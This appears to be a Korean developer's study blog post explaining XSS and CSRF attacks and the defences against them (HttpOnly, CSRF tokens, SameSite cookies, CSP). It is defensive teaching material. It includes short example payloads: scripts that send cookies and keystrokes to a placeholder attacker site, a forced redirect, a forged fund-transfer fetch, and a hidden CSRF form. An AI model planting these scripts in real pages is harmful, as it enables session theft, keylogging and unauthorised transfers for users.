프로젝트에서 인증 상태 유지 방식으로 JWT + 쿠키를 선택하였다. 하지만 보안적으로 취약한 부분이 있었고 팀원이 취약점을 개선하였다. 이 과정에서 CSRF 공격과 XSS 공격에 대한 부분을 개선하였는데 개인적으로 XSS 공격과 CSRF 공격에 대해 공부한 내용을 정리해보았다.
주로 여러 사용자가 보는 게시판이나 메일 등을 통해 악성 스크립트를 삽입하여 사용자의 브라우저에서 실행되도록 하는 공격 기법이다.
일반적으로 사용자 쿠키/세션 값 탈취, 키보드 입력값 탈취 등이 가능하며, 피싱 사이트와 같은 악성 사이트로의 접근 유도가 가능해 사용자에게 직접적인 피해를 줄 수 있다.
<script>
new Image().src = "http://공격자사이트.com/~~?cookie=".concat(document.cookie);
</script>
<script>
location.href = "https://악의적인사이트.com";
</script>
el.addEventListner("keyup", () => {
new Image().src = "http://공격자사이트.com/~~?cookie=".concat(event.key);
HttpOnly는 Set-Cookie 헤더에 붙일 수 있는 속성으로 브라우저가 스크립트로 쿠키를 읽거나 쓰지 못하게 막는 역할을 한다.
ex) document.cookie
그러나 HTTP(S) 요청/응답에는 자동으로 실리기 때문에 결론적으로 스크립트에서는 쿠키에 접근이 불가하지만 네트워크를 통해서는 접근이 가능하도록 하는 설정이다.
XSS 공격은 스크립트를 삽입하여 사용자의 브라우저에서 실행되도록 하는 공격이므로 이 스크립트에서 쿠키에 접근이 불가하도록 HttpOnly 설정을 켜는 것이다.
하지만 이 HttpOnly 설정을 해줘도 다른 사이트에서 보내는 위조 요청(CSRF)은 막지 못 하는데 HTTP 요청을 보낼 때 브라우저가 쿠키를 자동으로 붙여주기 때문이다. 따라서 CSRF 공격에 대한 방어 설정도 해주어야 한다.
또한 CSRF 공격과는 별개로 HttpOnly가 같은 도메인(동일 오리진)에서 이루어지는 XSS 공격 자체를 막아주는 것은 아니다. XSS로 인한 토큰 탈취를 줄여주는 것이다.
<script> fetch('/api/account/transfer', { method: 'POST', credentials: 'include', // 생략해도 동일 오리진인 경우 쿠키가 자동으로 포함된다. headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ to: 'attacker', amount: 1000000 }) }); </script>이 경우에 HttpOnly 때문에 스크립트는
document.cookie로 토큰을 읽지는 못하여도 요청을 보낼 때 브라우저가 자동으로 쿠키를 붙여줘서 API가 정상 사용자의 요청처럼 보인다. 따라서 XSS 공격 자체를 차단하는 보안 대책도 설정하여야 한다.
CSRF는 다른 사이트에서 사용자의 브라우저를 이용하여 사용자가 의도하지 않은 인증된 요청을 보내게 만드는 공격이다. 브라우저가 쿠키를 자동으로 붙여 보내는 성질을 악용한다.
구체적인 예시(출처 : Spring Docs)
은행 웹사이트에 현재 로그인한 사용자의 계좌에서 다른 은행 계좌로 자금을 이체할 수 있는 양식이 있다고 가정해보자.
<form method="post"
action="/transfer">
<input type="text"
name="amount"/>
<input type="text"
name="routingNumber"/>
<input type="text"
name="account"/>
<input type="submit"
value="Transfer"/>
</form>
만약 사용자가 은행 웹사이트에 인증되어 있는 상태(로그아웃을 하지 않고)로 악성 웹사이트를 방문했다고 가정한다. 악성 웹사이트에는 다음과 같은 HTML 페이지가 포함되어 있다.
<form method="post"
action="https://bank.example.com/transfer">
<input type="hidden"
name="amount"
value="100.00"/>
<input type="hidden"
name="routingNumber"
value="evilsRoutingNumber"/>
<input type="hidden"
name="account"
value="evilsAccountNumber"/>
<input type="submit"
value="Win Money!"/>
</form>
사용자가 버튼을 클릭하는 순간 의도치않게 악의적인 사용자에게 100달러를 송금하게 된다.
심지어 자바스크립트를 사용하여 이 과정 자체를 자동화할 수 있다.
CSRF 공격이 가능한 이유는 피해자 웹사이트의 HTTP 요청과 공격자 웹사이트의 HTTP 요청이 완전히 동일하기 때문이다. 악성 웹사이트에서 오는 요청을 거부하고 정상 웹사이트에서 오는 요청만 허용할 방법이 없다.
따라서 CSRF 공격을 방지하려면 악성 웹사이트에서 제공할 수 없는 부분이 정상 웹사이트의 요청에 포함되어 있는지 확인하여 두 요청을 구분해야 한다. 이 때 보편적으로 사용하는 것이 CSRF(XSRF) 토큰이다.
위에서 말했듯이 어떤 HTTP 요청이 악성 웹사이트에서 온 요청인지 정상 웹사이트에서 온 요청인지 구분하기 위해 사용되는 토큰이다. 서버가 CSRF 토큰을 발급하고 쿠키에 내려주면 클라이언트가 쿠키를 읽어 이 토큰을 요청에 추가해서 보내고 서버는 이를 검증한다.
Spring Security에서 CSRF 토큰 검증 단계
출처 : Spring Security Docs
그렇다면 한 가지 의문점이 들 것이다. 요청을 할 때 브라우저가 쿠키를 자동으로 붙여 보내주기 때문에 이 요청이 악성 웹사이트로부터의 요청인지 정상 웹사이트로부터의 요청인지 알 수가 없어서 이를 구분하기 위해 CSRF 토큰을 도입했는데 이 토큰을 또 쿠키에 저장한다? 그럼 이 CSRF 토큰도 요청을 보낼 때 자동으로 같이 보내지기 때문에 의미가 없는 것 아닌가? 라는 의문점이다.
CSRF 토큰 자체로 검증을 한다면 CSRF 토큰을 쿠키에 담는 것이 의미 없을 것이다. 하지만 JS가 쿠키를 읽어 헤더에 넣어 보내기 때문에 의미가 있다. 서버는 쿠키 값과 이 헤더 값이 같은지 비교를 하여 검증을 하기 때문이다. 공격자는 쿠키 값은 자동으로 전송할지라도 헤더를 맞춰 보내지 못하므로 CSRF 공격을 방지할 수 있다.
그럼 한 가지 방안이 또 생각날텐데 바로 정상 웹사이트에서는 쿠키 자동 전송을 허용하고 악성 웹사이트에서는 쿠키 자동 전송을 막으면 되는 것 아닌가? 라는 방안이다. 해당 방안이 바로 SameSite 모드이다.
SameSite 쿠키란 브라우저가 다른 사이트에서 온 요청(cross-site 요청)일 때 쿠키를 자동 전송할지 말지 결정하는 쿠키 속성이다.
여기서 사이트란 도메인 + 스킴(Scheme, HTTP/HTTPS)를 말한다. 한 가지 예시로
http://example.com과https://example.com은 다른 사이트로 취급된다.
SameSite 동작 모드에는 3가지가 있는데 아래와 같다.
| 모드 | 어떤 요청에 쿠키가 실리는지 | 핵심 용도 |
|---|---|---|
| Strict | 동일 사이트 요청에만 전송. 다른 사이트에서 링크로 눌러 들어오는 최상위 GET에도 전송하지 않음. | 보안 최우선(로그인 세션 같은 민감 쿠키) |
| Lax | 동일 사이트 요청 + 다른 사이트에서의 최상위 GET 네비게이션에는 전송, XHR/Fetch/iframe/POST 같은 서브리퀘스트엔 미전송 | 일반 세션.로그인 쿠키의 안전한 기본값 |
| None | 모든 컨텍스트(크로스사이트 XHR/iframe 포함)에 전송, 반드시 Secure 필요 | 서로 다른 도메인 간 API 호출 |
그렇다. SameSite 모드를 Lax 이상으로 설정하여도 XSS 공격은 다른 도메인이 아닌 동일 도메인에서 스크립트를 삽입하여 행해지는 공격이기 때문에 막을 수 없다.
또한 XSS 공격으로 쿠키를 읽어 CSRF 토큰을 헤더에 추가하고 보낸다면 이는 정상적인 요청을 판단되어 CSRF 방어가 무력화된다. 그럼 HttpOnly 설정을 키면 되지 않을까? 하지만 CSRF 토큰을 헤더에 넣으려면 프론트가 쿠키 값을 읽어야 하기 때문에 CSRF 토큰 쿠키는 HttpOnly=false로 두어야 한다.
즉, XSS 공격은 CSRF 공격보다 상위 공격으로 XSS 취약점이 뚫리면 CSRF 토큰 기반 방어는 깨질 수 있다. 따라서 XSS 공격 자체를 차단해야 한다. 이 방법들로는 출력 인코딩(HTML/JS/URL 컨텍스트별 이스케이프), CSP(Content Security Policy), DOM 조작 시 innerHTML 대신 textContent 사용 등이 있다.
https://owasp.org/www-community/attacks/xss/
https://4rgos.tistory.com/1
https://studysteadily.tistory.com/26
https://docs.spring.io/spring-security/reference/features/exploits/csrf.html#csrf
https://docs.spring.io/spring-security/reference/servlet/exploits/csrf.html